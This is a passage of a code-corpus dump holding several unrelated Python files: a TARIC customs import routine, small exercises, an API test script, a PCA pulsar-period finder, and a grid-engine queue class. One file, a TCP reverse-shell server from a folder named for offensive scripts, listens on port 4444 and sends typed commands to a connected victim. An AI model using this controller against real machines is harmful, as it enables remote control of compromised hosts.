:\n\t\ttmp = a[i]\n\t\ta[i] = a[j]\n\t\ta[j] = tmp\n\ndef merge_sort(a):\n\tdo_merge_sort(a, 0, len(a)-1)\n\nrun_sort(globals().get('merge_sort'))\n","sub_path":"examples/python/sorting/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"230233867","text":"import psycopg2\nimport common.globals as g\n\nclass profile_43000_measure(object):\n\tdef import_xml(self, app, update_type, oMessage, transaction_id, message_id):\n\t\tg.app.message_count += 1\n\t\toperation_date = app.getDatestamp()\n\t\tmeasure_sid\t\t\t\t\t\t\t= app.getNumberValue(oMessage, \".//oub:measure.sid\", True)\n\t\tmeasure_type\t\t\t\t\t\t= app.getValue(oMessage, \".//oub:measure.type\", True)\n\t\tgeographical_area\t\t\t\t\t= app.getValue(oMessage, \".//oub:geographical.area\", True)\n\t\tgoods_nomenclature_item_id\t\t\t= app.getValue(oMessage, \".//oub:goods.nomenclature.item.id\", True)\n\t\tadditional_code_type\t\t\t\t= app.getValue(oMessage, \".//oub:additional.code.type\", True)\n\t\tadditional_code\t\t\t\t\t\t= app.getValue(oMessage, \".//oub:additional.code\", True)\n\t\tordernumber\t\t\t\t\t\t\t= app.getValue(oMessage, \".//oub:ordernumber\", True)\n\t\treduction_indicator\t\t\t\t\t= app.getNumberValue(oMessage, \".//oub:reduction.indicator\", True)\n\t\tvalidity_start_date\t\t\t\t\t= app.getDateValue(oMessage, \".//oub:validity.start.date\", True)\n\t\tmeasure_generating_regulation_role\t= app.getValue(oMessage, \".//oub:measure.generating.regulation.role\", True)\n\t\tmeasure_generating_regulation_id\t= app.getValue(oMessage, \".//oub:measure.generating.regulation.id\", True)\n\t\tvalidity_end_date\t\t\t\t\t= app.getDateValue(oMessage, \".//oub:validity.end.date\", True)\n\t\tjustification_regulation_role\t\t= app.getValue(oMessage, \".//oub:justification.regulation.role\", True)\n\t\tjustification_regulation_id\t\t\t= app.getValue(oMessage, \".//oub:justification.regulation.id\", True)\n\t\tstopped_flag\t\t\t\t\t\t= app.getValue(oMessage, \".//oub:stopped.flag\", True)\n\t\tgeographical_area_sid\t\t\t\t= app.getNumberValue(oMessage, \".//oub:geographical.area.sid\", True)\n\t\tgoods_nomenclature_sid\t\t\t\t= app.getNumberValue(oMessage, \".//oub:goods.nomenclature.sid\", True)\n\t\tadditional_code_sid\t\t\t\t\t= app.getNumberValue(oMessage, \".//oub:additional.code.sid\", True)\n\t\texport_refund_nomenclature_sid\t\t= app.getNumberValue(oMessage, \".//oub:export.refund.nomenclature.sid\", True)\n\n\t\ttariff_measure_number = goods_nomenclature_item_id\n\t\tif goods_nomenclature_item_id != None:\n\t\t\tif tariff_measure_number[-2:] == \"00\":\n\t\t\t\ttariff_measure_number = tariff_measure_number[:-2]\n\n\t\tif update_type == \"20\":\n\t\t\tapp.doprint (\"Deleting measure \" + str(measure_sid))\n\t\t\tcur = app.conn.cursor()\n\t\t\ttry:\n\t\t\t\tcur.execute(\"DELETE FROM measures_oplog WHERE measure_sid = %s\", (measure_sid,))\n\t\t\t\tapp.conn.commit()\n\t\t\texcept:\n\t\t\t\tg.app.log_error(\"measure\", \"D\", measure_sid, None, transaction_id, message_id)\n\t\t\tcur.close()\n\n\t\telse:\n\t\t\tif measure_sid < 0:\n\t\t\t\tnational = True\n\t\t\telse:\n\t\t\t\tnational = None\n\t\t\tif update_type == \"1\":\t# Update\n\t\t\t\toperation = \"U\"\n\t\t\t\tapp.doprint (\"Updating measure \" + str(measure_sid))\n\t\t\telif update_type == \"2\":\t# DELETE\n\t\t\t\toperation = \"D\"\n\t\t\t\tapp.doprint (\"Deleting measure \" + str(measure_sid))\n\t\t\telse:\t\t\t\t\t# INSERT\n\t\t\t\toperation = \"C\"\n\t\t\t\tapp.doprint (\"Creating measure \" + str(measure_sid))\n\n\t\t\tcur = app.conn.cursor()\n\t\t\t#try:\n\t\t\tcur.execute(\"\"\"INSERT INTO measures_oplog (measure_sid, measure_type_id, geographical_area_id,\n\t\t\tgoods_nomenclature_item_id, additional_code_type_id, additional_code_id,\n\t\t\tordernumber, reduction_indicator, validity_start_date,\n\t\t\tmeasure_generating_regulation_role, measure_generating_regulation_id, validity_end_date,\n\t\t\tjustification_regulation_role, justification_regulation_id, stopped_flag,\n\t\t\tgeographical_area_sid, goods_nomenclature_sid, additional_code_sid,\n\t\t\texport_refund_nomenclature_sid, operation, operation_date, national, tariff_measure_number)\n\t\t\tVALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\"\"\", \n\t\t\t(measure_sid, measure_type, geographical_area,\n\t\t\tgoods_nomenclature_item_id, additional_code_type, additional_code,\n\t\t\tordernumber, reduction_indicator, validity_start_date,\n\t\t\tmeasure_generating_regulation_role, measure_generating_regulation_id, validity_end_date,\n\t\t\tjustification_regulation_role, justification_regulation_id, stopped_flag,\n\t\t\tgeographical_area_sid, goods_nomenclature_sid, additional_code_sid,\n\t\t\texport_refund_nomenclature_sid, operation, operation_date, national, tariff_measure_number))\n\t\t\tapp.conn.commit()\n\t\t\t#except:\n\t\t\t#\tg.app.log_error(\"measure\", operation, measure_sid, None, transaction_id, message_id)\n\t\t\tcur.close()\n","sub_path":"create-data/convert_and_import_taric/profile/profile_43000_measure.py","file_name":"profile_43000_measure.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"451364675","text":"def receive():#Function for inputting integer\r\n count=0\r\n while count==0:\r\n a=input('Enter the integer :')\r\n try:\r\n val=int(a)\r\n count+=1\r\n return val\r\n except ValueError:\r\n try:\r\n val=float(a)\r\n print('You entered a float. ')\r\n except ValueError:\r\n print('You did not enter a number. ')\r\nmy_list=[]\r\ncount=1\r\nprint('Creating the list')\r\nwhile len(my_list)<7: #creating the list\r\n my_list.append(receive())\r\ndef receiveindex():#Function for inputting indexe\r\n count=0\r\n while count==0:\r\n a=input('Enter the index :')\r\n try:\r\n val=int(a)\r\n if val>=0 and val<=6:\r\n count+=1\r\n return val \r\n else:\r\n print('Your entered index is not in range.')\r\n except ValueError:\r\n try:\r\n val=float(a)\r\n print('You entered a float. ')\r\n except ValueError:\r\n print('You did not enter a number. ')\r\nindex_list=[]\r\ncount_1=1\r\nwhile len(index_list)<2: \r\n index_list.append(receiveindex())\r\ndef findLCM(x,y,array):#This function receives 2 indexes and calculates the LCM of their elements.\r\n i=1\r\n while True:\r\n if i%array[x]==0 and i%array[y]==0:\r\n LCM=i\r\n break\r\n i+=1\r\n return LCM\r\nx=index_list[0]\r\ny=index_list[1]\r\nanswer=findLCM(x,y,my_list)\r\nprint('LCM of index',x,'and index',y,'elements :',answer)\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n","sub_path":"p46.py","file_name":"p46.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"576162715","text":"#coding=utf-8\nimport requests\nimport sys\nimport traceback\nsys.path.append('/home/fzyzgong/project/AutoFWOG/AutoFW/util')\nfrom Mylogging import mylogging\n\nclass TestAPI:\n\n def testDemo(self,protocol,domian,url,headers,param,expected):\n\n self.protocol = protocol+'://'\n try:\n if param == '' and headers == '':\n r = requests.put(self.protocol + domian + url, timeout=8)\n elif param == '':\n r = requests.put(self.protocol + domian + url, headers=headers, timeout=8)\n elif headers == '':\n r = requests.put(self.protocol + domian + url, json=param, timeout=8)\n else:\n r = requests.put(self.protocol + domian + url, headers=headers, json=param, timeout=8)\n time_consuming = str(r.elapsed.total_seconds()) # 计算接口被调用耗时\n rs = r.json()\n\n print (rs)\n # 断言 判断接口返回数据是否正常\n if 'resultCode' not in rs.keys():\n print (\"AutoFW test reslut:FAILED\", str(rs))\n elif rs[expected.keys()[0]] == expected.values()[0]:\n print ('AutoFW test reslut:PASS\\'' + \"[time_consuming:\"+ time_consuming + '] ', str(rs))\n else:\n print (\"AutoFW test reslut:FAILED\", str(rs))\n except requests.exceptions.ConnectionError:\n mylogging(\"[\" + str(__file__).split('/')[-1] + \"][\" + self.protocol + domian + url + \"] \\r\" + traceback.format_exc())\n print (traceback.format_exc())\n except requests.exceptions.InvalidHeader:\n mylogging(\"[\" + str(__file__).split('/')[-1] + \"] [\" + self.protocol + domian + url + \"] \\r\" + traceback.format_exc())\n print (traceback.format_exc())\n except AttributeError:\n mylogging(\"[\"+str(__file__).split('/')[-1]+\"] [\"+self.protocol + domian + url+\"] \\r\"+traceback.format_exc())\n print (traceback.format_exc())\n\n\nif __name__ == \"__main__\":\n protocol = \"HTTPS\"\n domian = \"ta.2boss.cn\"\n url = \"/ubt/api/session\"\n headers = ''\n param = {\"clientId\":\"933e801d-a350-4d0a-bae1-8bf06aef4gda\",\"sessionId\":\"a6373ac4-34ea-4314-abab-29007260c6d1\"}\n expected = {\"resultCode\":0}\n\n t = TestAPI()\n t.testDemo(protocol,domian,url,headers,param,expected)\n","sub_path":"AutoFW/script/genirtor_script/存储用户Session-2018_4_23_16_14_47.py","file_name":"存储用户Session-2018_4_23_16_14_47.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"526562797","text":"#!/usr/bin/env python\n\nimport socket\n\ndef Connect():\n #\n host = '127.0.0.1' ; port = 4444\n #\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n #\n s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) \n #\n s.bind((host,port))\n #\n s.listen(1)\n #\n print(\"[*] Listening on: %s:%i ...\" % (host,port))\n #\n connection,address = s.accept()\n #\n print(\"[*] Connection from: %s \" % str(address))\n #\n while(True):\n #\n command = input(\"[*]>>> \")\n #\n if('exit' in command):\n #\n connection.send('exit'.encode())\n #\n connection.close()\n #\n else:\n #\n connection.send(command.encode())\n #\n print(connection.recv(1024).decode())\n\ndef main():\n #\n Connect()\n\nif(__name__ == '__main__'):\n #\n main()\n","sub_path":"Python-Offensive-Scripts/TCPReverseShell-Server.py","file_name":"TCPReverseShell-Server.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"175955555","text":"from __future__ import division\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# PRINCIPAL FUNCTIONS FOR PCA FOLDING\n# AUTHOR: TOMAS CASSANELLI\n\n# Collection of all functions that are meant to be used in pca_run.\n\n\ndef nextpow2(n):\n \"\"\"\n Use nextpow2 to pad the signal you pass to FFT.\n\n Parameters\n ----------\n n : int\n\n Returns\n -------\n m : int\n Exponent of next higher power of 2.\n \"\"\"\n m_f = np.log2(n)\n m_i = np.ceil(m_f)\n m = int(np.log2(2 ** m_i))\n return m\n\n\ndef flat_region_finder(array, n=3):\n \"\"\"\n To find the best location for the period a fine search has to be done, not\n only where the maximum is located but also where there is a plateau of\n maximums. This becomes clear when the merit function is plotted.\n\n Parameters\n ----------\n array : numpy.ndarray\n Array to find maximum region, it is in the particular case the mstev (\n maximum to scalar eigenvalue).\n n : int\n Number of division that the plateau has to have, for observed data 3\n is more or less correct.\n\n Returns\n -------\n idx_final : int\n Index of the position of the maximum point between a plateau of n\n points. Eventually this is the maximum\n period position.\n max_ : float\n The maximum number chosen between the three local maximums.\n \"\"\"\n flat = []\n for i in range(0, len(array) - (n - 1)):\n flat.append(array[i] + array[i + 1] + array[i + 2])\n\n idx = np.argmax(flat) # finding the maximum index\n\n # find the maximum between the n points\n idx_fine = np.argmax([array[idx], array[idx + 1], array[idx + 2]])\n idx_final = idx + idx_fine\n max_ = np.max([array[idx], array[idx + 1], array[idx + 2]])\n\n return idx_final, max_\n\n\ndef pre_analysis(time, dt, period, plot_check=False):\n \"\"\"\n Given an initial frequncy, finds a better one using FFT.\n\n Parameters\n ----------\n time : numpy.ndarray or list\n Observed periodicity time with the telescope.\n dt : float\n Bintime.\n period : float\n Estimated period or staring period.\n plot_check: boolean\n To decide if it is necesary an eye inspection.\n\n Returns\n -------\n bin_data : numpy.ndarray\n Return the bin edges (length(hist)+1) from the computed histogram of a\n set of data time.\n frquency: float\n Returns the approximated frquency after an FFT search.\n \"\"\"\n\n freq_start = 1 / period\n\n # Setting the x axis for histogram, represents the time discrete position\n time_axis = np.arange(0, time[len(time) - 1], dt)\n\n # counts the number of values in time that are within each specified bin\n # range, time_axis\n bin_data = np.histogram(time, bins=time_axis)[0]\n\n fs = 1 / dt # frequency step\n\n # Fast Fourier Transform computation\n NFFT = 2 ** nextpow2(len(bin_data)) # Length of the transformed axis of the output\n y = np.fft.fft(bin_data, NFFT) # Computed FFT\n N = NFFT / 2 + 1 # indices to erase the mirror effect from FFT\n Y = np.abs(y[:int(N)]) # cleaned from all mirror effects\n freq_axis = fs / 2 * np.linspace(0, 1, N)\n\n # To give a zero value to the first components, due to FFT\n k = 100\n for i in np.arange(0, k, 1):\n Y[i] = 0\n\n start = int(len(freq_axis) * freq_start * 2 / fs) - 1\n stop = int(len(freq_axis) * freq_start * 2 / fs * 2)\n Y_selected = Y[np.arange(start, stop, dtype=int)]\n\n # Selection of the index in the freq_axis array\n index = np.argmax(Y_selected)\n\n frequency = freq_axis[index + int(len(freq_axis) * freq_start * 2 / fs)]\n\n if plot_check:\n\n fig1, ax1 = plt.subplots()\n ax1.hist(bin_data, histtype='stepfilled')\n ax1.set_title('Histogram dt = ' + str(dt))\n ax1.set_ylabel('Photon counts')\n ax1.set_xlabel('Time in ' + str(dt) + ' s units')\n ax1.grid()\n\n fig2, ax2 = plt.subplots()\n ax2.plot(freq_axis, Y)\n ax2.set_title('FFT binned data')\n ax2.set_ylabel('Amplitude')\n ax2.set_xlabel('Frequency Hz')\n ax2.grid()\n\n plt.show()\n\n return bin_data, frequency\n\n\ndef new_fold(time, dt, period, num_div, plot_check=False):\n \"\"\"\n Folding algorithm using the waterfall diagrams. Time is data in a the .csv\n file. It is a column vector\n num_div is the number of divisions made to the time array (aka data) or rows in waterfall The period\n will only be an approximation, needs to be iterated to correct it!\n\n Parameters\n ----------\n time : numpy.ndarray or list\n Observed periodicity time with the telescope.\n dt : float\n Bintime.\n period : float\n Estimated period or staring period.\n num_div : int\n Number of divisions made to the time array or rows in waterfall diagram. Later defined as M. It is\n also the number of eigenvectors.\n plot_check: boolean\n To decide if it is necesary an eye inspection.\n\n Returns\n -------\n lc : numpy.ndarray\n Light curve of the input period. It is a one column array.\n waterfall: numpy.ndarray\n Matrix that contains an amount of num_div rows. The number of columns\n is Nint.\n \"\"\"\n\n if period < dt:\n print('WARNING: Period cannot be smaller than bin size (dt)')\n\n # Length light-curve. It needs to be a division with no modulus\n # N represents the columns in the waterfall\n # It has to be chosen the int value over the approximation\n Nint = round(period / dt)\n dt = period / Nint # dt recalculated so it becomes an interger\n\n # Period division in Nint*dt\n period_div_dt = np.linspace(0, period, Nint + 1)\n\n # number of samples that will be considered for each row of the waterfall\n num_samples = np.floor(len(time) / num_div)\n\n # Modulus divions left. Return element-wise remainder of division\n remainder = np.mod(time, period)\n\n # for each line in the waterfall diagram\n for line in np.arange(0, num_div, dtype=int):\n # selection of each num_div in time array\n indices = np.arange(num_samples * line, num_samples * (line + 1), dtype=int)\n # matrix that contains info for waterfall diagram\n if line == 0:\n waterfall = np.histogram(remainder[indices], bins=period_div_dt)[0]\n else:\n waterfall = np.vstack((waterfall, np.histogram(remainder[indices],\n bins=period_div_dt)[0]))\n\n # Light-Curve plot\n lc = np.histogram(remainder, period_div_dt)[0]\n period_time_one = np.arange(0, period, dt)\n\n # Stacking two periods together for visualization\n lc2 = np.hstack((lc, lc))\n period_time_two = np.arange(0, 2 * period, dt)\n\n if plot_check:\n fig1, ax1 = plt.subplots()\n ax1.plot(period_time_two, lc2, 'ro-', label='Period ' + str(period) + ' s', linewidth=1.5)\n ax1.set_title('Light curve dt = ' + str(dt) + ' s')\n ax1.set_xlabel('Time s')\n ax1.set_ylabel('Total counts')\n ax1.legend(loc='best')\n ax1.grid()\n\n fig2, ax2 = plt.subplots()\n im2 = ax2.imshow(waterfall, cmap=plt.cm.jet, interpolation='nearest', aspect='auto')\n cb = fig2.colorbar(im2, ax=ax2)\n cb.set_label('Total counts')\n ax2.set_title('Waterfall rows: ' + str(num_div) + ', dt = ' + str(dt) + ' s')\n ax2.set_xlabel('Bin s')\n ax2.set_ylabel('Light curves')\n ax2.grid()\n\n plt.show()\n\n return lc, waterfall\n\ndef fast_pca(waterfall, plot_check=False):\n \"\"\"\n Finds PCs, eigenvalues and signal matrix from waterfall M x N matrix.\n M: rows, number of segments in which the whole adquisition has been divided.\n N: columns, number of bins in folding period. Number of eigenvalues.\n\n Parameters\n ----------\n waterfall : numpy.ndarray\n Matrix that contains an Amount of num_div rows (M). The number of columns is N.\n plot_check: boolean\n To decide if it is necesary an eye inspection.\n\n Returns\n -------\n V_sorted : list\n Eigenvalues from the covariance of the normalized waterfall matrix. Means mu = 0 and std = 1.\n Organized in decreasent order. Also known as variance.\n PC_sorted : numpy.ndarray\n Unitary eigenvectors from the covariance of the normalized waterfall matrix that correspond to each\n eigenvalue. Sorted in the same way as the V_sorted list. One column, PC_sorted[:, i] represents one PC.\n cov : numpy.ndarray\n Covariance of the normalized waterfall matrix.\n norm : numpy.ndarray\n Normalization of the waterfall matrix. This is done for each row, (x - )/std(x).\n signal : numpy.ndarray\n Is the transposed PC_sorted times the normalized waterfall matrix.\n \"\"\"\n M, N = waterfall.shape # This should be the waterfall matrix\n mean = np.mean(waterfall, axis=1).reshape(M, 1)\n std = np.std(waterfall, axis=1, ddof=1).reshape(M, 1) # carful, different in matlab!\n\n # Normalization waterfall matrix to mean=0 and std=1\n norm = (waterfall - mean) / std # (x - )/std(x)\n # Covariance matrix\n cov = 1 / (N - 1) * np.dot(norm,norm.T)\n\n # Eigenvalue, Eigenvector\n # PC[:, i] is the eigenvector corresponding to V[i] eigenvalue\n V, PC = np.linalg.eig(cov)\n\n V_sorted = np.sort(V.real)[::-1].tolist() # Eigenvalue\n j_indices = np.argsort(V.real)[::-1]\n PC_sorted = PC[:, j_indices] # Eigenvector or PCs\n\n signals = np.dot(PC_sorted.T, norm) # Information matrix, not clear whar represents!\n\n # Plot to visualize the PCs\n if plot_check:\n width = 0.8\n ind = np.arange(0, len(V_sorted))\n\n fig1, ax1 = plt.subplots()\n ax1.bar(ind, V_sorted, width=width)\n ax1.set_xlabel('Component value')\n ax1.set_ylabel('Eigenvalue amplitude')\n ax1.set_title('PCA values')\n ax1.set_xticks(ind + width/2)\n ax1.set_xticklabels(np.arange(1, len(V) + 1, dtype=int))\n ax1.grid()\n ax1.set_ylim([-0.1, V_sorted[0] + 0.1])\n ax1.set_xlim([-0.1, len(V)])\n\n fig2, ax2 = plt.subplots()\n im2 = ax2.imshow(signals, interpolation='nearest', aspect='auto')\n cb2 = fig2.colorbar(im2, ax=ax2)\n cb2.set_label('Norm(0, 1) counts')\n ax2.set_title('Signal = PC.T * normalized')\n ax2.set_xlabel('Bins s')\n ax2.set_ylabel('Light curves')\n ax2.grid()\n\n fig3, ax3 = plt.subplots()\n im3 = ax3.imshow(norm, interpolation='nearest', aspect='auto')\n cb3 = fig3.colorbar(im3, ax=ax3)\n cb3.set_label('Norm(0, 1) counts')\n ax3.set_title('Normalized waterfall')\n ax3.set_xlabel('Bins s')\n ax3.set_ylabel('Light curves')\n ax3.grid()\n\n plt.show()\n\n return V_sorted, PC_sorted, cov, norm, signals\n\ndef delta_finder(period, iterations, delta, time, dt, num_div):\n \"\"\"\n Finds the best period given an initial starting point, a number of iterations and a step to look for.\n It is the most inportant function which define the method of selection and the merit function of the script!\n\n Parameters\n ----------\n period : float\n Estimated period or staring period.\n iterations : int\n Interger number to iterate the main function loop.\n delta : float\n Increase of the period in each iteration. The orther of it is between 1e-7 - 4e-9.\n time : numpy.ndarray or list\n Observed periodicity time with the telescope.\n dt : float\n Bintime.\n num_div : int\n Number of divisions made to the time array or rows in waterfall diagram. Later defined as M. It is\n also the number of eigenvectors.\n\n Returns\n -------\n period_final : float\n Optimum period of the iteration.\n V_array : numpy.ndarray\n Values of all the eigenvalues, expressed as a np.array. i. e. V_array[:, 0] contains all the\n eigenvalues of the first position, or maximum eigenvalue. It has a length of the number of iterations.\n S_array : numpy.ndarray\n Values of the first three scalars, expressed as a nu.array. i. e. S_array[:, 0] contains all the\n scalars of the first position. It has a length of the number of iterations. It is computed from the\n result of the hyperdimensional unitary vector times the eigenvalues (dot product), then the maximum\n absolute value per iteration is chosen.\n mstev : numpy.ndarray\n Maximum scalar times the (selected) eigenvalue. It is the merit function selected to choose the right\n iteration. Represents the maximum scalar in a row (or in one iteration) minus the average of all the rest\n in the same interation. Then is multiplicated by the associated eigenvalue from the maximum scalar selected.\n max_idx : int\n For each iteration a step is added to the final period, this number of steps selected is the maximum index.\n Notice that the period search starts from (period - iterations / 2 * delta).\n \"\"\"\n # makes an interval from central period, [period - i/2 * delta, period + i/2 * delta]\n period_iter = period - iterations / 2 * delta\n\n VARIANCE = []\n SCALAR = [] # Scalar matrix\n unit_vec = np.ones((num_div, 1)) / np.sqrt(num_div) # unitary vector\n\n for i in range(iterations):\n waterfall = new_fold(time, dt, period_iter, num_div)[1]\n eigenvalues, eigenvectors, _, _, _ = fast_pca(waterfall)\n\n # It is a vector with scalar_to_save = [s0, s1, s2, ...] for the num_div value\n scalar_to_save = np.sum(eigenvectors * unit_vec, axis=0).tolist()\n\n SCALAR.append(scalar_to_save) # Both values are in decreasing order\n VARIANCE.append(eigenvalues)\n\n period_iter += delta\n\n S_array = np.abs(np.array(SCALAR)) # S_array[:, 0] represents all iteration for the first eigenvector\n V_array = np.array(VARIANCE) # V_array[:, 0] represents all iteration for the first eigenvalue\n\n # Correspondent eigenvalue to the maximum selected scalar\n # V_corr = np.choose(np.argmax(S_array, axis=1), V_array.T) # has a 32 lim!\n S_array_argmax = np.argmax(S_array, axis=1)\n\n V_corr = V_array[range(S_array_argmax.size), S_array_argmax]\n\n S_avg = [] # max scalar minus its average\n M = len(S_array[0])\n N = len(S_array[:, 0])\n for i in range(0, N):\n noise = np.sum(S_array[i]) - np.max(S_array[i])\n S_avg.append(np.max(S_array[i]) - noise / (M - 1))\n S_avg_array = np.array(S_avg)\n\n # (maximum scalar minus average) times the associated eigenvalue\n mstev = S_avg_array * V_corr # mstev = Maximum Scalar Times EigenValue\n\n max_idx = flat_region_finder(mstev.tolist())[0]\n\n period_final = period - iterations / 2 * delta + max_idx * delta\n\n return period_final, V_array, S_array, mstev, max_idx\n\ndef find_period(time, period, dt, num_div, iter1, delta1, iter2, delta2, noisy_signal=True):\n \"\"\"\n Finds the optimal period using PCA. Encapsulates two iterations in one.\n\n Parameters\n ----------\n time : numpy.ndarray or list\n Observed periodicity time with the telescope.\n period : float\n Estimated period or staring period.\n dt : float\n Bintime.\n num_div : int\n Number of divisions made to the time array or rows in waterfall diagram. Later defined as M. It is\n also the number of eigenvectors.\n iter1 : int\n Interger number to iterate the delta_finder function. Usually with a value of 100.\n delta1 : float\n Increase of the period in each iter1. The orther of it is between 1e-7.\n iter2 : int\n Interger number to iterate the delta_finder function. Usually with a value of 500.\n delta2 : float\n Increase of the period in each iter2. The orther of it is between 4e-9.\n noisy_signal : boolean\n If True the first iteration will be made using the function pre_analysis which looks for the\n best FFT frequency.\n\n Returns\n -------\n 1/freq : float\n Initial given period of search. Check in literature of every object to find a good start.\n period_start1 : float\n Initial period of search in the case of a noisy signal. It first looks for the FFT.\n period_final1, 2 : float\n Best period from the first and second iteration. The starting period of the second iteration\n corresponds to period_final2.\n var_iter1, 2 : numpy.ndarray\n See V_array in delta_finder function. 1 and 2 for first and second iterations.\n scalar_iter1, 2 : numpy.ndarray\n See S_array in delta_finder function. 1 and 2 for first and second iterations.\n mstev_iter1, 2 : numpy.ndarray\n See mstev in delta_finder function. 1 and 2 for first and second iterations.\n max_index1,, 2 : int\n See max_idx in delta_finder function. 1 and 2 for first and second iterations.\n \"\"\"\n\n if noisy_signal:\n period_start1 = period\n else:\n freq_start = pre_analysis(time, dt, period)[1]\n period_start1 = 1 / freq_start\n\n period_final1, var_iter1, scalar_iter1, mstev_iter1, max_index1 = \\\n delta_finder(period_start1, iter1, delta1, time, dt, num_div)\n\n period_start2 = period_final1\n period_final2, var_iter2, scalar_iter2, mstev_iter2, max_index2 = \\\n delta_finder(period_start2, iter2, delta2, time, dt, num_div)\n\n return [period, period_start1, period_final1, period_final2], [var_iter1, var_iter2], \\\n [scalar_iter1, scalar_iter2], [mstev_iter1, mstev_iter2], [max_index1, max_index2]\n\nif __name__ == '__main__':\n \"\"\"\n Before running the full computation, pca_run, test the program with several iterations\n see how this behaves with the plots!\n \"\"\"\n\n file_name = 'FILE NAME' # Contains the time array\n\n dt = 0.002793 # 4 ms, 0.002793 s\n period_start = 0.089367 # Initial period, usualy well known\n\n num_div = 20\n\n time = np.genfromtxt('data_pulsar/' + file_name + '.csv')\n lc, water = new_fold(time, dt, period_start, num_div, plot_check=True)\n\n V_sorted, PC_sorted, cov, norm, signals = fast_pca(water, True)\n","sub_path":"pca_analysis.py","file_name":"pca_analysis.py","file_ext":"py","file_size_in_byte":17970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"99215705","text":"#!/usr/bin/env python\n# \n# ___INFO__MARK_BEGIN__\n#######################################################################################\n# Copyright 2016-2022 Altair Engineering Inc.\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License.\n#\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#######################################################################################\n# ___INFO__MARK_END__\n# \nfrom .qconf_object import QconfObject\n\n\nclass ClusterQueue(QconfObject):\n \"\"\" This class encapsulates UGE cluster queue object. \"\"\"\n\n #: Object version. \n VERSION = '1.0'\n\n #: Object name key.\n NAME_KEY = 'qname'\n\n #: Object keys that must be provided by user.\n USER_PROVIDED_KEYS = ['qname']\n\n #: Default values for required data keys.\n REQUIRED_DATA_DEFAULTS = {\n 'hostlist': None,\n 'seq_no': 0,\n 'load_thresholds': 'np_load_avg=1.75',\n 'suspend_thresholds': None,\n 'nsuspend': 1,\n 'suspend_interval': '00:05:00',\n 'priority': 0,\n 'min_cpu_interval': '00:05:00',\n 'qtype': 'BATCH INTERACTIVE',\n 'ckpt_list': None,\n 'pe_list': 'make',\n 'jc_list': ['NO_JC', 'ANY_JC'],\n 'rerun': False,\n 'slots': 1,\n 'tmpdir': '/tmp',\n 'shell': '/bin/sh',\n 'prolog': None,\n 'epilog': None,\n 'shell_start_mode': 'unix_behavior',\n 'starter_method': None,\n 'suspend_method': None,\n 'resume_method': None,\n 'terminate_method': None,\n 'notify': '00:00:60',\n 'owner_list': None,\n 'user_lists': None,\n 'xuser_lists': None,\n 'subordinate_list': None,\n 'complex_values': None,\n 'projects': None,\n 'xprojects': None,\n 'calendar': None,\n 'initial_state': 'default',\n 's_rt': float('inf'),\n 'h_rt': float('inf'),\n 'd_rt': float('inf'),\n 's_cpu': float('inf'),\n 'h_cpu': float('inf'),\n 's_fsize': float('inf'),\n 'h_fsize': float('inf'),\n 's_data': float('inf'),\n 'h_data': float('inf'),\n 's_stack': float('inf'),\n 'h_stack': float('inf'),\n 's_core': float('inf'),\n 'h_core': float('inf'),\n 's_rss': float('inf'),\n 'h_rss': float('inf'),\n 's_vmem': float('inf'),\n 'h_vmem': float('inf')\n }\n\n INT_KEY_MAP = QconfObject.get_int_key_map(REQUIRED_DATA_DEFAULTS)\n FLOAT_KEY_MAP = QconfObject.get_float_key_map(REQUIRED_DATA_DEFAULTS)\n DEFAULT_LIST_DELIMITER = ','\n LIST_KEY_MAP = {\n 'slots': ',',\n 'load_thresholds': ',',\n 'suspend_thresholds': ',',\n 'ckpt_list': ',',\n 'pe_list': ',',\n 'jc_list': ',',\n 'owner_list': ',',\n 'user_lists': ',',\n 'xuser_lists': ',',\n 'subordinate_list': ',',\n 'complex_values': ',',\n 'projects': ',',\n 'xprojects': ',',\n }\n\n def __init__(self, name=None, data=None, metadata=None, json_string=None):\n \"\"\" \n Class constructor. \n\n :param name: Queue name. If provided, it will override queue name from data or JSON string parameters ('qname' key).\n :type name: str\n\n :param data: Queue data. If provided, it will override corresponding data from queue JSON string representation.\n :type data: dict\n\n :param metadata: Queue metadata. If provided, it will override corresponding metadata from queue JSON string representation.\n :type metadata: dict\n\n :param json_string: Queue JSON string representation.\n :type json_string: str\n\n :raises: **InvalidArgument** - in case metadata is not a dictionary, JSON string is not valid, or it does not contain dictionary representing a ClusterQueue object.\n \"\"\"\n\n QconfObject.__init__(self, name=name, data=data, metadata=metadata, json_string=json_string)\n","sub_path":"uge/objects/cluster_queue_v1_0.py","file_name":"cluster_queue_v1_0.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"423869469","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\na=[[1],[1,1]] #前面的给他固定次数\nn=int(input(\"您想打印多少次杨辉三角:\")) #交互式体验\nfor i in range(2,n): #$让i的取值先去掉前面两次\n b=[1] #定义新的元素的第一个值\n pre = a[i-1] 